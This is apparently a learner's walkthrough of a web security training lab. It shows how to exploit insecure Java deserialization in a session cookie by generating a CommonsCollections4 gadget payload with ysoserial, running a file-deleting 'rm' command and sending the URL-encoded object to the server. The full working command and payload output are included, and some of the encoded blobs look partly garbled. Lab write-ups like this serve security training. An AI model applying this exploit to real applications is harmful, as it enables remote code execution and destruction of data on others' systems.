
Exploiting Java deserialization with Apache Commons

1. This lab uses a serialization-based session mechanism and loads the Apache Commons Collections library. Although you don't have source code access, you can still exploit this lab using pre-built gadget chains. To solve the lab, use a third-party tool to generate a malicious serialized object containing a remote code execution payload. Then, pass this object into the website to delete the morale.txt file from Carlos's home directory.
2. I found the session in the request start with **r00A** which means that this is base64 java serialized object. When I decode it, it is unreadable, but I noticed that it contains username and access token. So, I decided to use **ysoserial** tool to create a new serialized session.

```
[-iNULENqsrNUL/lab.actions.common.serializable.AccessTokenUserEHQüãDCZ'@•STXNULSTXNULVTaccessTokenNULDC2Ljava/lang/String;LNULBSusernameqNUL~NULSOHxptNUL q01aj18sbmgwpzc56tb3l7w05on51m9jtNULACKwienerCBŸŸ
```

3. From lab's hint, I noticed that I should use a specific payload for Java version 16 and above.

In Java versions 16 and above, you need to set a series of command-line arguments for Java to run ysoserial. For example:

```
java -jar ysoserial-all.jar \  
  --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED \  
  --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED \  
  --add-opens=java.base/java.net=ALL-UNNAMED \  
  --add-opens=java.base/java.util=ALL-UNNAMED \  
  [payload] '[command]'
```

4. I copied this and replaced the payload with **CommonsCollectionsX** and the command with `'rm /home/carlos/morale.txt'`. Then I brute force **X** value till I tried **X=4**, the exploit ran successfully.

5. But there was an issue, when I run this command, it was didn't run because – **add-opens** must be before **-jar**. I replaced them and the command ran and I got the new session.

```
alirek@ali:~/Downloads x + v
alirek@ali:~/Downloads$ sudo java --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED --add-opens=java.base/java.net=ALL-UNNAMED --add-opens=java.base/java.util=ALL-UNNAMED --jar ysoserial-all.jar CommonsCollections4 'rm /home/carlos/morale.txt' | base64
rOABX0lyABdqYZzHnL9wAMuRURp33pdHrDwVZZTtAL7P4KxASCSAQe2L6ZuNcMvXBh
cmF0b3J0ABZnAmF2YS9l2GLsL0NvBhCmcF0b3T7eAAHAACc3QA0myZyShcGFjAGJyY29tbnV9
cy5jb2xzN2lnAG9uc29yZ29tYyYyZnVmcVhJhbnNmb3JkaW50Z29tYyYyX3Rvci9ShPARsQjH
AgACTAAZjGvY3Jhd3JhdGVkcQB+AAFMAT8BcmF2Z2Vmc1lcnAGJvxcvcmY5BhY29tbnV9
```

6. I copied this new session and replaced it with the old session in the request and sent. But it still didn't work.
7. When I encoded all characters to URL encode, the lab solved successfully but with **500 Internal Server Error** because the server didn't receive the access token. But it works.

| Request | | Response | |
|---|-----|---|-----|
| Pretty | Raw | Pretty | Raw |
| <pre> 1 GET /my-account?id=wiener HTTP/2 2 Host: Daf500ba03297de781a3b84500d200d4.web-security-academ y.net 3 Cookie: session= %724f%3041%42%584e%7941%42%64%71%59%58%5a%68%4c% 6e%56%30%61%57%77%75%55%48%4a%70%62%33%4a%70%64%48%6 c%52%64%57%56%31%5a%5a%54%61%4d%4c%54%37%50%34%4b%78 %41%77%41%43%53%51%41%45%63%32%6c%3f%5a%55%77%41%43% 6d%4e%76%62%58%42%68%63%6d%46%30%62%33%4a%30%41%42%5 a%4d%61%6d%46%32%59%53%39%31%64%47%6c%73%4c%30%4e%76 %62%58%42%68%63%6d%46%63%30%62%33%49%37%65%48%41%41%41% 41%41%43%63%33%49%41%51%6d%39%79%5a%79%35%68%63%47%4 6%6a%61%47%55%75%59%32%39%74%62%57%39%75%63%79%35%6a </pre> | | <pre> 1 HTTP/2 500 Internal Server Error 2 Content-Type: text/html; charset=utf-8 3 X-Frame-Options: SAMEORIGIN 4 Content-Length: 2429 5 6 <!DOCTYPE html> 7 <html> 8 9 <head> 10 <link href= /resources/labheader/css/academyLabHeader .css rel=stylesheet> 11 <link href=/resources/css/labs.css rel= stylesheet> 12 <title> </pre> | |

Web Security Academy 

Exploiting Java deserialization with Apache Commons

[Back to lab description >>](#)

LAB Solved

Congratulations, you solved the lab!

Share your skills!



[Continue learning >>](#)